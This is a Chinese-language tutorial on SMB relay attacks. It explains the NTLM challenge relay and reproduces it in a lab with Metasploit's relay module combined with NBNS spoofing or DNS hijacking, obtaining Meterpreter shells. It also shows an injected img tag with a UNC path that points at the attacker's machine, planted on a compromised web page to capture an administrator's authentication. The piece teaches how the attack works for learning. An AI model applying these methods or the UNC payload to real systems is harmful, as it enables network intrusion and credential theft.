再谈SMB中继攻击

安全 黑客攻防
本文中,笔者介绍了SMB中继攻击的运作原理,并分享了实际测试的攻击方式。

PS:下面的都是自己实际测试过的,并非理论文章,如果有什么地方不对的请斧正,谢谢 >_<

首先,介绍一下SMB中继攻击的运作原理

再谈SMB中继攻击

假设左边的主机为A,右边的主机为B

A试图访问B的共享服务

第一步     A对B说:骚年,请让我登陆
第二步     B对A说:骚年,我给你一个challenge,请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限
第三步     A对B说:我加密好了,给你
情景一:
第四步     B对A说:嗯,对的,请进(认证结束)
情景二:
第四步     B对A说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆
第五步     A对B说:好嘛,我用你之前告诉我的身份试试,回到第一步,循环下去

现在,如果加入了一名第三者C到两者之间,C企图查看B的隐私,C会怎么做?

再谈SMB中继攻击

上图就是C的做法

第一步 A对C说:骚年,请让我登陆
第二步 C对B说:骚年,请让我登陆
第三步 B对C说:骚年,我给你一个challenge,请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限
第四步 C对A说:骚年,我给你一个challenge(这是B发出的challenge),请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限
第五步 A对C说:我加密好了,给你
第六步 C对B说:我加密好了,给你
情景一:
第七步 B对C说:嗯,对的,请进(认证结束,C替代A获取了权限)
第八步 C对A说:骚年,不对,你的身份不能登陆(A的认证结束)
情景二:
第七步 B对C说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆
第八步 C对B说:好嘛,我用你之前告诉我的身份试试
第九步 C对A说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆
第十步 A对C说:好嘛,我用你之前告诉我的身份试试,回到第一步,循环下去

OK,你可以看出,A和B都被C欺骗了,这明显是一场中间人攻击

这里面还有一处不合理的地方,不知道你发现没有,A想和B对话,怎么会和C吹起牛来了呢?

肯定是A误以为C就是B,C是怎么做到的呢?

下面就来探究一下C的骗人手法,如果你是C你会怎么做呢?

1. NBNS欺骗,前提
a)     A B C必须都处在同一个局域网下面
b)     A寻找B是用的B的计算机名而不是B的ip
2. DNS劫持,前提
a)     A寻找B是用的B的域名而不是B的ip

下面就让我们来重演一下这次攻击!

方式1:NBNS欺骗 + SMB中继

出品人:

A     winxp      192.168.30.129
B     win2k3    192.168.30.130       计算机名:smbserver
C     kali         192.168.30.145

Kali msf下使用smb_replay模块,设置SMBHOST为B(192.168.30.130)

再谈SMB中继攻击

Kali msf下使用nbns_response模块将B的计算机名(smbserver)解析到C的IP(192.168.30.145)

再谈SMB中继攻击

Winxp 访问smbserver的共享

再谈SMB中继攻击

OK,到Kali下看看结果

再谈SMB中继攻击

Cool,我们成功拿到了B的Meterpreter shell

原理:NBNS是广播的,所以C只需要赶在B之前告诉A:“C的计算机名是smbserver”就行了

方式2:DNS劫持+SMB中继

出品人:

A     winxp      192.168.30.129

B     win2k3    192.168.30.130       域名:share.baidu.com

C     kali         192.168.30.145

由于虚拟机有限,我将B模拟成一台内网中被黑掉的DNS服务器

Kali msf下使用smb_replay模块,设置SMBHOST为B(192.168.30.130)

再谈SMB中继攻击

将DNS服务器的 share.baidu.com 域名指向C(192.168.30.145)

再谈SMB中继攻击

Winxp 访问share.baidu.com的共享

再谈SMB中继攻击

OK,到Kali下看看结果

再谈SMB中继攻击

成功拿到B的shell

如果你很注意细节,你应该会有一个问题,如果我们将NBNS欺骗和DNS劫持同时启用,但指向不同的IP会有怎样的效果?

我将告诉你:只有DNS劫持会起作用

看下图就知道了

再谈SMB中继攻击

A先访问一个不存在的名字,同时抓取数据包

你可以看出A(192.168.30.129)发出的第一个数据包是DNS查询

上面的两种攻击都是在A先试图想和B说话造成的,假如他们本来就不怎么联系那我们岂不是要等很久?

这太被动了,我必须改变这种局面!!怎么改呢,下面就是我想说的了 >_<

再谈SMB中继攻击

UNC攻击+SMB中继

出品人:

A     winxp      192.168.30.129
B     win2k3    192.168.30.130
C     kali         192.168.30.145

由于虚拟机有限,我将B模拟成一台被黑掉的WEB服务器(域名www.caoliu.oh)

管理员每天都喜欢在个人机上访问草榴网,看看有什么新的资源

我知道他会这样,所以我先拿下了草榴的WEB权限,然后在首页插入了这样的一个链接

<imgsrc=”192.168.30.145rio.jpg”/>

很不幸,这张图他不会看到,如果他的个人机的账户及密码是和服务器是一样的,呵呵,他的服务器就这么沦陷了。但是有一个前提 A B C的共享都是互相可访问的,如果个人机在防火墙外,那这就不可行了。

原理就是这样,不插图了,自己脑补一下就行了 >_<

SMB中继升级版

上面都是A访问B导致B被黑掉,而且UNC攻击还需要在账户及密码一样的情况下才能成功,这太二了,既然可以SMB中继,为何我们不把A的流量中继到A本身,那样账户和密码一定是对的。如果A开启了共享,且可被C访问,那么一定会攻击成功。好了,就到这里,具体的自己实验吧!

相关文章:

http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python

责任编辑:蓝雨泪 来源: 网络攻防实验室
相关推荐

2021-07-26 13:34:37

中继攻击微软黑客

2013-04-18 17:07:36

2010-06-18 23:01:16

IT管理安防产业H3C

2010-06-21 21:35:28

运维管理安防行业H3C

2019-07-29 12:48:08

2015-08-11 16:16:48

中继网桥信锐

2010-09-26 12:04:30

DHCP中继

2010-09-01 16:55:07

DHCP中继

2013-07-21 04:11:12

PythonRubyPHP

2009-11-04 11:51:08

技术领袖

2021-07-31 23:09:42

GPU内存带宽

2012-02-27 09:30:22

JavaScript

2010-09-29 15:15:15

DHCP中继

2010-09-01 16:42:34

DHCP中继

2010-09-01 17:11:01

DHCP中继代理

2009-03-17 11:20:06

SMB金融海啸侠诺科技

2010-11-17 10:50:41

云视频视频通信RADVISION

2010-06-17 16:27:26

WAP协议

2021-10-03 22:18:14

Go语言整数
点赞
收藏

51CTO技术栈公众号